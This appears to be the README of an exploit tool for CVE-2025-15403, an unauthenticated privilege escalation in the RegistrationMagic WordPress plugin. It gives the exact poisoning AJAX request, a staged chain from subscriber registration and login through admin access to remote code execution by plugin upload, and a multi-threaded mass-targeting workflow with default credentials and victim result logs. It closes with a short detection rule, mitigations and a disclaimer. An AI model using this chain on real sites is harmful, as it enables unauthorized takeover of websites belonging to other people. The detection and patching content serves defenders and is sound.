
RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order
RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 The intel drops here first. Follow @KNxploited on Telegram — precision CVE disclosures, working exploits, and deep-dive vulnerability research. The channel for those who don't wait for the news — they make it.
CVE-2025-15403 is a CVSS 9.8 Critical Privilege Escalation vulnerability in the RegistrationMagic plugin for WordPress.
The flaw exists in the plugin's add_menu function, exposed unauthenticated via the rm_user_exists AJAX action. By injecting an empty slug into the order parameter alongside the enable_admin_order=yes flag, an attacker manipulates the plugin's internal menu generation logic. When the admin menu is subsequently built, the plugin silently calls add_cap('manage_options') on the target role — elevating any subscriber-tier account to full administrative capability.
The root cause is the add_menu function being reachable without authentication through rm_user_exists, combined with zero validation of the admin_order slug:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
Why this is critical:
wp_ajax_nopriv_* = zero authentication needed to poison the optionorder=,menu1 passes empty() check, triggering add_cap('manage_options')manage_options is the highest WordPress capability — equivalent to Administrator╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
This exploit suite provides three distinct modes to cover the full attack lifecycle:
pip install requests colorama urllib3
Python 3.8+ required. Python 3.10+ recommended (uses
X | Yunion type hints).
CVE-2025-15403/
├── CVE-2025-15403.py # Main exploit suite
├── list.txt # Target URLs — one per line
│
├── rm_register_results.txt # Mode 0: successful registrations
├── rm_exploit_results.txt # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt # ✔ Sites where RCE via plugin upload confirmed
The three
_successfiles at the bottom represent graduated compromise levels — each is written independently as soon as its condition is confirmed.
Create list.txt with one URL or hostname per line:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Bare hostnames without a scheme are automatically prefixed with
https://. Subdirectory WordPress installs (e.g./wordpress) are detected and handled automatically.
python CVE-2025-15403.py
You will be prompted interactively for all parameters. Example session for Mode 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtSites where the subscriber account successfully accessed /wp-admin/ after privilege escalation:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtSites where the plugin-install page was accessible (confirming manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtSites where a test plugin was uploaded and executed — confirmed RCE:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
Mode 2 performs a three-stage graduated verification — each stage is independent and writes its own result file:
Stage 1 — Admin Dashboard
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → writes to rm_admin_dashboard_success.txt
Stage 2 — Plugin Install Page Access
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → writes to rm_plugin_install_access.txt
Stage 3 — Real Plugin Upload + Execution (RCE Proof)
Extract _wpnonce from plugin-install page
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (in-memory generated)
GET /wp-content/plugins/Nxploited/hello.php
Check response body contains "Nxploited"
✔ → writes to rm_plugin_rce_success.txt
Each stage that passes is recorded independently — a target that passes Stage 1 but not Stage 3 is still captured in rm_admin_dashboard_success.txt.
Mode 0 uses a custom HTML form parser to automatically detect and submit WordPress registration forms — including custom RegistrationMagic forms:
Probe URLs (in order):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
For each page:
→ Parse all <form> elements
→ Score each form (0–200 points):
+100 "user_login" + "user_email" fields present
+ 60 Email + username-like fields present
+ 30 rm_* prefixed input fields (RegistrationMagic specific)
+ 20 form id/class contains "register" / "signup"
+ 10 Page body mentions "register" / "sign up"
→ Submit highest-scoring form (threshold: 40+)
→ Verify success via response body / redirect URL
Network pattern generated by the exploit — for defenders and WAF/IDS authors:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
WAF / IDS Rule (Pseudocode):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
Additional Detection — Option Poisoning:
Monitor wp_options table:
IF option_name = "rm_admin_order"
AND option_value STARTS WITH ","
THEN ALERT — potential CVE-2025-15403 exploitation
If you are a site owner, developer, or defender, act immediately:
wp_options table — check the rm_admin_order value for suspicious entries (e.g., starting with ,)manage_options capabilitywp_ajax_nopriv_* handlers — never expose option-write functions unauthenticatedorder parameter — reject values containing empty slug segmentsadmin-ajax.php containing rm_options_admin_menu at the WAF levelrm_user_exists AJAX action calls from unauthenticated sourcesTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No assumptions.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment you own.
• You will NOT deploy this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool in any form.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Handle | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Follow @KNxploited on Telegram Fresh CVEs. Working exploits. No noise. No delay. The channel where serious researchers stay sharp.
| Field | Details |
|---|
| CVE ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Affected Versions | All versions up to and including 6.0.7.1 |
| Vulnerability Type | Unauthenticated Privilege Escalation |
| Attack Requirement | AJAX stage: None. Exploitation: Subscriber account |
| Attack Vector | Network |
| CVSS 3.1 Score | 9.8 CRITICAL |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Full WordPress Administrator Takeover |
| Researcher | Nxploited |
| Mode | Name | Description |
|---|
0 | Register Only | Smart WordPress form detection + subscriber account registration |
1 | Exploit Only | Fires the unauthenticated AJAX primitive to poison admin_order |
2 | Exploit + Login + Verify | Full chain: primitive → login → admin dashboard → plugin install → RCE |
| Dependency | Purpose |
|---|
requests | HTTP sessions, cookie handling, redirect tracking |
colorama | Cross-platform colored terminal output |
urllib3 | SSL warning suppression for self-signed certs |
concurrent.futures | Thread pool for high-throughput multi-target scanning |
zipfile | In-memory test plugin ZIP generation for RCE verification |
html.parser | Smart registration form detection and field extraction |
| Color | Tag | Meaning |
|---|
| 🔵 Cyan | info | Informational — mode start, configuration |
| 🟢 Green | ok | Full success — admin access or RCE confirmed |
| 🟡 Yellow | warn | Partial result — primitive OK but login failed, etc. |
| 🔴 Red | err | Hard failure — file not found, exception, blocked |
| Parameter | Default | Description |
|---|
| Mode | 0 | Attack mode: 0 = Register, 1 = Exploit, 2 = Full Chain |
| Targets file | list.txt | File containing target URLs |
| Threads | 5 (no hard max) | Concurrent ThreadPoolExecutor workers |
| Timeout | 10 seconds | Per-request HTTP timeout |
| Role key | _Subscriber | WordPress role to escalate (_Editor, _Author, etc.) |
| Username | NXploited | Account to register / login with |
| Password | xplpass123 | Password for the account |
| Send primitive | yes | Whether to fire the AJAX stage before login in Mode 2 |